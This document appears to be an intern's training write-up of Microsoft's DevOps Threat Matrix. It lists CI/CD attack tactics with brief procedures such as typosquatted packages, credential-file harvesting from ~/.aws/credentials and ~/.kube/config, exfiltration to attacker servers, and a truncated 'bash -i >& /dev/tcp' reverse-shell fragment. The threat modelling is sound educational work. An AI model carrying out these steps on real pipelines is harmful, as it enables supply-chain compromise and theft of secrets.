THREAD INTELLIGENCE

Name: Khushi Patwa

Intern Id: 234

DevOps Threat Matrix (Microsoft)

Objective

The DevOps Threat Matrix by Microsoft is a security-focused framework developed to help organizations identify and understand potential threats within DevOps environments**.** It's designed to guide security teams, developers, and operations teams in securing their CI/CD (Continuous Integration/Continuous Deployment) pipelines. The DevOps Threat Matrix is a conceptual framework created by Microsoft to enumerate and analyze possible security threats that can affect the DevOps lifecycle — from code development and build processes to release and deployment.

1. **Reconnaissance**

   Technique 1 – Public Repository Scanning
   Proc 1: Search GitHub for exposed .env files.
   Proc 2: Use GitDorker to find API keys in commit history.

   Technique 2 – CI/CD Enumeration
   Proc 1: Identify public build logs via CI/CD dashboard leaks.
   Proc 2: Enumerate pipeline names from open APIs.

   Technique 3 – Domain & Subdomain Discovery
   Proc 1: Use sublist3r to find staging/dev domains.
   Proc 2: Identify CI/CD endpoints via Shodan.

2. **Resource Development**

   Technique 1 – Malicious Package Preparation
   Proc 1: Create a typosquatted npm package.
   Proc 2: Embed malicious post-install script.

   Technique 2 – Rogue CI/CD Runner Setup
   Proc 1: Register attacker-controlled runner in self-hosted mode.
   Proc 2: Configure runner to connect over attacker C2.

Technique 3 – Phishing Infrastructure

Proc 1: Clone SCM login page for credential harvesting.

Proc 2: Host malicious page on similar domain.

3. Initial Access

Technique 1 – SCM Credential Theft

Proc 1: Steal SSH key from developer laptop.

Proc 2: Use leaked Personal Access Token.

Technique 2 – CI/CD Token Abuse

Proc 1: Exploit exposed GitHub Actions secrets.

Proc 2: Brute-force poorly secured API tokens.

Technique 3 – Exploiting Webhooks

Proc 1: Modify incoming webhook payload to trigger malicious build. Proc 2: Redirect webhook target to attacker server.

4. Execution

Technique 1 – Pipeline Script Injection

Proc 1: Modify YAML pipeline to run malicious command.

Proc 2: Inject script via environment variable substitution.

Technique 2 – Malicious Dependency Execution

Proc 1: Commit compromised library in package.json.

Proc 2: Replace internal dependency in artifact registry.

Technique 3 – Container Image Poisoning

Proc 1: Upload malicious Docker image to registry.

Proc 2: Override image tag in deployment manifest.

5. Persistence

Technique 1 – Backdoored Build Script

Proc 1: Add hidden reverse shell in CI build stage.

Proc 2: Schedule malicious cron job in pipeline container.

Technique 2 – Additional SCM Accounts

Proc 1: Create new collaborator with admin access.

Proc 2: Add deploy keys with write permissions.

Technique 3 – CI/CD Service Hook Abuse
Proc 1: Add malicious post-build webhook.
Proc 2: Register persistent artifact publishing job.

6. Privilege Escalation

Technique 1 – Pipeline Permission Escalation
Proc 1: Modify CI config to run with admin token.
Proc 2: Abuse default trust in forked PRs.

Technique 2 – Vault Secret Abuse
Proc 1: Retrieve cloud credentials from pipeline vault.
Proc 2: Modify pipeline step to dump secrets to logs.

Technique 3 – Container Privilege Escalation
Proc 1: Run privileged container in CI runner.
Proc 2: Mount host filesystem via pipeline misconfig.

7. Defense Evasion

Technique 1 – Build Log Tampering
Proc 1: Overwrite build logs post-run.
Proc 2: Redirect output to /dev/null.

Technique 2 – Code Obfuscation
Proc 1: Base64 encode malicious commands.
Proc 2: Split payload across multiple variables.

Technique 3 – Artifact Manipulation
Proc 1: Replace signed artifact with malicious version.
Proc 2: Remove security scan reports before publish.

8. Credential Access

Technique 1 – Secrets in Code
Proc 1: Extract API keys from .env files.
Proc 2: Search commit history for passwords.

Technique 2 – Pipeline Environment Dump
Proc 1: Print $AWS_SECRET_ACCESS_KEY from build job.
Proc 2: Dump all env vars to attacker server.

Technique 3 – Config File Harvesting
Proc 1: Read ~/.kube/config from build agent.
Proc 2: Copy ~/.aws/credentials file.

9. Discovery

Technique 1 – Repo Enumeration
Proc 1: List all SCM repositories via API.
Proc 2: Clone accessible private repos.

Technique 2 – Pipeline Mapping
Proc 1: Identify all jobs from CI config files.
Proc 2: View pipeline history for secrets.

Technique 3 – Service Inventory
Proc 1: Query cloud provider API for active services.
Proc 2: Use IaC templates to map infrastructure.

10. Lateral Movement

Technique 1 – From SCM to CI/CD
Proc 1: Use stolen SCM token to trigger builds.
Proc 2: Modify pipeline variables from SCM access.

Technique 2 – From CI/CD to Cloud
Proc 1: Use cloud creds stored in pipeline to deploy resources.
Proc 2: Run cloud CLI commands inside CI job.

Technique 3 – From Dev to Prod
Proc 1: Promote malicious code via pipeline approval bypass.
Proc 2: Exploit shared artifact repository between environments.

11. Collection

Technique 1 – Artifact Download
Proc 1: Pull compiled binaries from CI storage.

Proc 2: Download test reports with sensitive data.

Technique 2 – Source Code Theft
Proc 1: Clone private Git repos.
Proc 2: Export ZIP archives of entire repo.

Technique 3 – Secrets Dump
Proc 1: Save pipeline environment variables to file.
Proc 2: Download credentials stored in cloud vault.

12.Exfiltration

Technique 1 – Outbound to External Storage
Proc 1: Upload source code to attacker S3 bucket.
Proc 2: Send artifacts to Dropbox account.

Technique 2 – DNS Exfiltration
Proc 1: Encode secrets into DNS queries.
Proc 2: Use subdomain lookups to transfer data.

Technique 3 – HTTP POST to C2
Proc 1: Send credentials via POST request.
Proc 2: Upload zip archive to attacker HTTP server.

13.Impact

Technique 1 – Code Tampering
Proc 1: Modify source code to introduce backdoor.
Proc 2: Insert logic bombs into application code.

Technique 2 – Build Disruption
Proc 1: Delete critical pipeline steps.
Proc 2: Flood CI/CD queue with junk jobs.

Technique 3 – Artifact Corruption
Proc 1: Replace build artifact with broken version.
Proc 2: Inject malware into production release.

14.Command & Control (C2)

Technique 1 – WebSocket Beaconing

Proc 1: Open WebSocket connection from build job.

Proc 2: Maintain heartbeat to attacker server.

Technique 2 – Reverse Shell in Build Agent

Proc 1: Spawn shell using bash -i >& /dev/tcp/....

Proc 2: Use ncat to connect back to attacker.

Technique 3 – API-Based Control

Proc 1: Poll attacker API for commands.

Proc 2: Execute build steps based on API instructions.